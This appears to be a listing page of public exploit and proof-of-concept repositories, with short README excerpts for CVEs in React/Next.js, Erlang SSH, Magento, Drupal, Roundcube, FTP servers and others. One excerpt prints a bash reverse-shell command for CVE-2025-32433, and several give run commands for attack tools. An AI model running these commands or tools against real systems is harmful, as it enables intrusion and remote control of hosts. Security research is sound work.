CVE-2026-2699

CVE-2026-2699 — Progress ShareFile Storage Zones Controller Authentication Bypass Critical Authentication Bypass CVSS 9.8 in customer-managed Progress ShareFile Storage Zones Controller SZC ≤ 5.12.3. 📋 Overview CVE-2026-2699 is a severe authentication bypass vulnerability affecting the web...

tot-react-rce-CVE-2025-55182

Tot React RCE CVE-2025-55182 React-shell Tot React RCE - Next.js tool. Dependencies : aiohttp termcolor optional tabulate optional Install dependencies: pip install -r requirements.txt Example run: python3 main.py -u http://target.com --lang id...

CVE-2025-5548

💣 Exploit Development - Buffer Overflow This repository documents the full process of exploiting a Buffer Overflow vulnerability, following a structured methodology from initial analysis to execution flow control. 🎯 Objective The goal of this phase is to develop a functional exploit that allows...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2024-34102

CVE-2024-34102 - CosmicSting XXE Exploit Exploit for CVE-2024-34102 CosmicSting - XML External Entity XXE vulnerability in Adobe Commerce and Magento. 📋 About the Vulnerability CVE-2024-34102 is a critical XXE XML External Entity vulnerability affecting: Adobe Commerce versions 2.4.7, 2.4.6-p5,...

CVE-2025-58434_CVE-2025-59528

CVE-2025-58434CVE-2025-59528 PoC Script CVE-2025-58434 Flowise -lp...

CVE-2025-5548

🛡️ CVE-2025-5548 – FreeFloat FTP Server Buffer Overflow Exploit 📌 Overview This repository documents the discovery and exploitation of a stack-based buffer overflow vulnerability in the FreeFloat FTP Server application. The vulnerability resides in the handling of the USER command, where unsafe...

CVE-2026-114724

A flaw was found in Roundcube Webmail. This flaw allows an attacker capable of modifying stored session data to achieve arbitrary code execution through object injection. The vulnerability occurs because session keys prefixed with an exclamation mark are mishandled during session deserialization,...

CVE-2025-55182

CVE-2025-55182 — React2Shell: Advanced Exploit & Master's Thesis Research -brightred Deserialization of Untrusted Data + Prototype Pollution in React Server Components Unauthenticated Remote Code Execution via Next.js Server Actions Affected: React 19.0.0 - 19.2.0 · Patch: React 19.0.1 / 19.1.2 /...

CVE-2012-1823---PHP-CGI---RCE

CVE-2012-1823 | PHP-CGI Remote Code Execution RCE Exploit A Python-based exploit for CVE-2012-1823. This vulnerability allows an attacker to execute arbitrary code on a server running a vulnerable version of PHP-CGI by injecting command-line arguments via the query string. 📝 Vulnerability Overvie...

cdt-vulnsamba-deploy

CDT Team Delta - Vulnerable Samba Deployment Overview This repo is an Ansible-based deployment of a vulnerable Samba file server affected by CVE-2017-7494, a critical remote code execution vulnerability. This will hopefully be deployed for team Delta during the Grey Team phase. Vulnerability...

CVE-2025-15545

CVE-2025-15545 Information Vendor: TP-Link Vendor's website: TP-Link Model: Archer RE605X Hardware version: RE605X v3.0 Firmware version: RE605XEUV31.1.5 Build 20240905 Firmware download address: TP-Link A chain of vulnerabilities — including the use of hardcoded cryptographic keys and a command...

drupalgeddon2-CVE-2018-7600

Drupal - Drupalgeddon2 CVE 2018-7600 $ python3 drupalgeddon.py -h + drupalgeddon2 CVE-2018-7600 exploit by Rafael Caria usage: drupalgeddon.py -h --url URL --command COMMAND --function FUNCTION --test --proxy PROXY ! This script exploits CVE-2018-7600 a Drupal property injection in the Forms API...

CVE-2026-114727

A flaw was found in Roundcube Webmail. The application allows unsafe image types, specifically Scalable Vector Graphics SVG and Encapsulated PostScript EPS, to be uploaded for contact photos. An authenticated remote attacker can exploit this vulnerability by submitting a crafted image file that...

CVE-2025-61304

CVE-2025-61304 "OS command injection vulnerability in Dynatrace ActiveGate ping extension up to 1.016 via crafted ip address" In the background the ping extension is using the command prompt of Windows to perform the ping. The input field for the Test Target Host is also 1024 chars long. After th...

CVE-2024-3094

Security Review & Threat Model: CVE-2024-3094 xz-utils / OpenSSH This repository contains the results of analyzing the critical vulnerability CVE-2024-3094 backdoor in the liblzma library of the xz-utils package, leading to RCE via the OpenSSH process. As part of the project, an isolated test...

CVE-2025-55182

CVE-2025-55182: React2Shell - Next.js Remote Code Execution Toolkit !WARNING This tool is provided for authorized testing and educational purposes only. Unauthorized network access and data exfiltration are illegal. Users are responsible for ensuring they have proper authorization before using th...

CVE-2025-471812-POC

/ | / | / / | / / / |/ // / / / / / / &password= 2. Server authenticates "anonymous" truncated at NULL but writes full payload into session file → returns UID cookie 3. GET /dir...

cve-2023-30990

cve-2023-30990-rce IBM i DDM Unauthenticated RCE - Java Reverse Shell...

CVE-2023-21716

CVE-2023-21716 — Microsoft Word RTF fonttbl Heap Corruption RCE Severity: Critical CVSS 9.8 Affected: Microsoft Word 2013 / 2016 / 2019 / 2021 unpatched Patch: Microsoft February 2023 Patch Tuesday Author: REGGYRAIDER Vulnerability Overview CVE-2023-21716 is a heap corruption vulnerability in...